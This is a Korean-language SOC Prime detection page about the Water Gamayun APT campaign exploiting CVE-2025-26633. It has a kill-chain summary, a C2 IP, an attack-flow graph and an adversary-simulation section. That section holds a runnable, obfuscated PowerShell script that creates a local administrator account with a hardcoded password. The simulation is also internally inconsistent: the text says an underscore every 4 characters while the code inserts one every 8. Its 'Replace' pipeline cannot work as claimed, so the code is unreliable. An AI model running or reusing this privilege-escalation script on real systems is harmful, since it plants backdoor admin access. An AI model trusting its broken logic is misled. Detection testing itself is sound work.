SOC Prime Bias: 심각

27 11월 2025 19:10

Zscaler 위협 헌팅, 워터 가마윤(Water Gamayun) APT 캠페인을 노출하고 재구성하다

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Zscaler 위협 헌팅, 워터 가마윤(Water Gamayun) APT 캠페인을 노출하고 재구성하다
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 워터 가마윤 APT 그룹에 의한 다단계 침입을 다루며, 이는 이중 확장 RAR 아카이브로 PowerShell 페이로드를 전달하기 위해 CVE-2025-26633이라는 제로데이 MMC 취약점을 악용합니다.

조사

Zscaler는 Bing 검색 리디렉션에서부터 손상된 사이트, .pdf.rar 파일 다운로드, MSC EvilTwin 악용, 단계적 PowerShell 스크립트 실행, ItunesC.exe 백도어 실행까지의 킬 체인을 재구성했습니다.

완화

가이드는 이중 확장 아카이브 모니터링, 리디렉션 검사, 인코딩된 PowerShell 명령어 탐지 및 악의적인 IP 및 도메인 차단을 포함합니다.

대응

탐지 시, mmc.exe에서 -EncodedCommand와 함께 PowerShell을 생성하는 것을 알리고 파일을 격리하며 103.246.147.17로의 아웃바운드 연결을 차단하고 사고 대응 절차를 활성화합니다.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#ffff99 classDef c2 fill:#ffccff %% 노드 정의 node_initial_access[“<b>행동</b> – <b>T1659 콘텐츠 주입</b><br /><b>설명</b>: 합법적인 사이트를 침해하여 악성 리디렉션을 주입”] class node_initial_access action node_malicious_domain[“<b>파일</b> – <b>이름</b>: 악성 유사 도메인<br /><b>목적</b>: 이중 확장자 아카이브 제공”] class node_malicious_domain file node_pdf_rar[“<b>파일</b> – <b>이름</b>: brochure.pdf.rar<br /><b>유형</b>: PDF로 위장된 이중 확장자 아카이브”] class node_pdf_rar file node_user_execution[“<b>행동</b> – <b>T1204.001 악성 링크</b><br /><b>설명</b>: 피해자가 링크를 클릭하고 아카이브를 다운로드”] class node_user_execution action node_exploit_client[“<b>행동</b> – <b>T1203 클라이언트 실행을 위한 취약점 악용</b><br /><b>설명</b>: 아카이브가 .msc를 드롭하여 MSC EvilTwin을 통해 mmc.exe를 하이재킹”] class node_exploit_client action node_cve[“<b>도구</b> – <b>이름</b>: MSC EvilTwin 익스플로잇 (CVE‑2025‑26633)<br /><b>대상</b>: mmc.exe”] class node_cve tool node_mmc[“<b>프로세스</b> – <b>이름</b>: mmc.exe”] class node_mmc process node_powershell[“<b>프로세스</b> – <b>이름</b>: powershell.exe”] class node_powershell process node_ps_command[“<b>행동</b> – <b>T1059.001 PowerShell</b><br /><b>설명</b>: EncodedCommand Base64 UTF‑16LE 페이로드”] class node_ps_command action node_obfuscation[“<b>행동</b> – <b>T1027 난독화</b> 및 <b>T1140 디코드</b><br /><b>설명</b>: PowerShell 명령을 이중 인코딩”] class node_obfuscation action node_unrar[“<b>도구</b> – <b>이름</b>: UnRAR.exe”] class node_unrar tool node_rar_payload[“<b>파일</b> – <b>이름</b>: 비밀번호로 보호된 RAR 페이로드”] class node_rar_payload file node_hidden_window[“<b>행동</b> – <b>T1564.003 숨겨진 창</b><br /><b>설명</b>: .NET 클래스 WinHpXN이 ShowWindow를 호출하여 콘솔을 숨김”] class node_hidden_window action node_itunesc[“<b>악성코드</b> – <b>이름</b>: ItunesC.exe<br /><b>기능</b>: 로더 및 백도어”] class node_itunesc malware node_c2[“<b>C2</b> – <b>IP</b>: 103.246.147.17<br /><b>프로토콜</b>: HTTPS”] class node_c2 c2 %% 연결 node_initial_access –>|리디렉션| node_malicious_domain node_malicious_domain –>|제공| node_pdf_rar node_pdf_rar –>|다운로드됨| node_user_execution node_user_execution –>|트리거| node_exploit_client node_exploit_client –>|드롭| node_cve node_cve –>|하이재킹| node_mmc node_mmc –>|로드| node_powershell node_powershell –>|실행| node_ps_command node_ps_command –>|사용| node_obfuscation node_ps_command –>|다운로드| node_unrar node_unrar –>|추출| node_rar_payload node_rar_payload –>|이어짐| node_hidden_window node_hidden_window –>|실행| node_itunesc node_itunesc –>|통신| node_c2

공격 흐름

시뮬레이션 실행

필수 조건: 텔레메트리 및 베이스라인 사전 점검이 통과했어야 합니다.

합리적 이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 설명합니다. 명령어와 내러티브는 발견된 TTP를 직접 반영해야 하며 탐지 논리가 기대하는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련 없는 예시는 오진으로 이어집니다.

  • 공격 내러티브 및 명령어:
    공격자는 Water Gamayun의 방법론을 활용하여 새로운 로컬 관리자 사용자를 작성하고 이 사용자를 관리자 그룹에 추가하는 악성 PowerShell 페이로드를 준비합니다. 페이로드를 숨기기 위해 공격자는 다음을 수행합니다:

    1. PowerShell 스크립트를 명확한 텍스트로 작성합니다.
    2. 이를 UTF‑16LE Base64로 인코딩합니다.
    3. 엔트로피를 높이기 위해 4자마다 언더스코어 (_)를 삽입합니다.
    4. 다음과 같은 |Replace('_','') 작업을 체인으로 연결하여 런타임 PowerShell이 언더스코어를 제거한 후 디코딩하여 탐지 서명과 일치하도록 합니다.

    최종 실행 명령어는 다음과 같습니다:

    powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

    이 정확한 명령줄은 Sigma 규칙의 두 가지 조건 (-EncodedCommand and |Replace('_',''))을 만족하며 규칙이 플래그를 지정할 Sysmon EventID 1 및 Security EventID 4688 항목을 생성합니다.

  • 회귀 테스트 스크립트:
    아래 스크립트는 난독화된 페이로드를 자동으로 생성하여 실행합니다. PowerShell 5.1+이 설치된 모든 Windows 호스트에서 실행될 수 있습니다.

    # Water Gamayun 스타일의 PowerShell 난독화 시뮬레이션
    # Step 1: 악의적인 PowerShell 페이로드 정의 (로컬 관리자 사용자 추가)
    $payload = @'
    $user = "tempAdmin"
    $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
    New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account"
    Add-LocalGroupMember -Group "Administrators" -Member $user
    '@
    
    # Step 2: UTF-16LE로 인코딩한 후 Base64로 인코딩
    $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
    $b64     = [Convert]::ToBase64String($bytes)
    
    # Step 3: 8자마다 언더스코어 주입 (그룹의 패턴을 시뮬레이션)
    $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
    
    # Step 4: 필요한 Replace('_','') 파이프라인과 함께 실행
    powershell.exe -EncodedCommand $b64Underscored | Replace('_','')
  • 정리 명령어:
    다음 명령어는 테스트 사용자를 제거하고 환경을 복원합니다.

    # 정리: 테스트에 의해 생성된 임시 관리자 계정을 제거
    $user = "tempAdmin"
    if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
        Remove-LocalUser -Name $user
        Write-Host "Deleted test user $user."
    } else {
        Write-Host "Test user $user does not exist."
    }